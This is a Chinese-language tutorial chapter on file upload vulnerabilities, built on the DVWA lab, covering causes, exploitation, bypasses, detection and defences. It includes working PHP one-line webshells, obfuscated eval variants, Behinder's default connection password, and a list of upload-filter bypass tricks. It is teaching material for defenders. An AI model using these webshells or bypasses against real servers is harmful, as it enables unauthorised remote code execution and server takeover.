文件上传漏洞
0. 引言
文件上传漏洞比反序列化漏洞原理更简单,但同样可导致服务器被控制:上传功能对用户文件未做有效检测或过滤不严,恶意文件被服务端解析执行。本文讲解成因、Webshell 利用、绕过技巧、检测与防御。
1. 漏洞成因
以 DVWA 靶场为例,上传代码无任何限制:
php
<?php
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // 直接使用上传文件名
move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path );
?>上传含 <?php phpinfo(); ?> 的 phpinfo.php 后直接访问 http://127.0.0.1/hackable/uploads/phpinfo.php 即可执行。PHP 站点可上传 PHP 文件,ASP/JSP/ASPX 同理。
2. 利用漏洞上传 Webshell
2.1 一句话木马
php
<?php eval(@$_GET['a']); ?> <!-- 最简形式 -->访问 http://127.0.0.1/uploads/eval.php?a=phpinfo(); 即执行任意代码。为绕过检测常有混淆变形:
php
<?php
$a="e"."v"; $b="a"."l"; $c=$a.$b; $c($_POST['a']); // 字符串拼接函数名
$a=base64_decode("ZXZhbA=="); $a($_POST['a']); // base64 编码函数名
$_GET['a']($_GET['b']); // 参数指定函数与参数
?>行业惯用"小马传大马":先传一句话(小马)再传大马,因为大马特征明显易被检测。
2.2 Webshell 管理工具
菜刀(仅 Windows)、冰蝎(跨平台、AES 加密)、蚁剑、Weevely、Cknife 等工具可连接一句话木马。以冰蝎为例:上传其 server/shell.php(默认连接密码 rebeyond,密钥为密码 32 位 MD5 前 16 位),客户端 java -jar Behinder_v3.0_Beta6_linux.jar 连接后即可管理文件、执行命令、管理数据库,甚至端口映射与 Socks 隧道(内网穿透)。
声明:本文工具仅限安全研究学习,请勿用于非法途径。
3. 绕过上传限制
| 技巧 | 原理与应用 |
|---|---|
| 禁用 JS | 仅前端 JS 校验后缀时,NoScript 插件禁用 JS 再上传 |
| 篡改数据包 | curl/nc/Burp Suite 构造请求绕过前端,修改后缀、Content-Type 等 |
| 文件头绕过 | 校验文件头时在 PHP 前加图片头:BM <?php phpinfo(); ?>——防御必须文件头+后缀同时检测 |
| %00 截断 | shell.php%00.jpg 截断后缀(旧版本 PHP) |
| 大小写 | 检测未区分大小写时 shell.php → shell.Php |
| 后缀别名 | PHP 常用后缀 .php/.php3/.php5/.phtml 等检测不全时可绕过;html 文件可做 XSS/钓鱼(危害较低) |
| 结合解析漏洞 | Apache 后缀不可识别时向左判断(shell.php.php123 可能被当 PHP 执行);Nginx 曾出现 1.jpg/1.php 被当 PHP 解析——此类漏洞需先修服务器本身 |
4. 如何发现上传漏洞
- 黑盒扫描:上传
<?php phpinfo(); ?>(对业务影响最小)代替真实木马,根据返回包判断上传成功,再探测常见目录;自家服务器可部署文件创建监控定位路径; - 流量监测:监测流量中疑似 Webshell 的请求并告警,人工确认——实际业务中多次发现上传漏洞的有效方式;
- 白盒审计:从
$_FILES污染源(name/tmp_name)入手,追踪move_uploaded_file等存储函数,检查参数是否可控且无过滤,最后手工验证。
5. 防御措施
- 严格检测后缀名、文件头、Content-Type,白名单方式限制;
- 重编码文件(图片/视频转换处理);
- 限制文件大小,防存储耗尽;
- 服务端本地检测 Webshell,发现告警、人工确认后删除并排查入侵来源;
- WAF 拦截木马上传(较易绕过);
- RASP Hook 执行脚本关键函数(如 php eval),外部数据触发即告警阻断;
- 限制上传目录不可解析(Nginx 示例):
nginx
location ~* ^/uploads/.*\.(php|php5)$ {
deny all;
}- 上传文件重命名为随机文件名;
- 隐藏上传路径信息(关闭错误回显,避免如 DVWA 直接返回路径)。
6. 小结
- 成因:上传功能对文件未做有效检测/过滤不严,恶意文件被服务端解析;
- 利用:一句话木马(eval 执行外部参数)+ 冰蝎等工具连接管理,可直达命令执行;
- 绕过:前端 JS、数据包、文件头、%00 截断、大小写、后缀别名、解析漏洞七类;
- 发现:黑盒扫描(phpinfo 探测)、流量监测、白盒审计(move_uploaded_file 入口);
- 防御:白名单校验 + 随机重命名 + 目录禁解析 + RASP 兜底,层层设防。
下一章讲解命令与代码注入。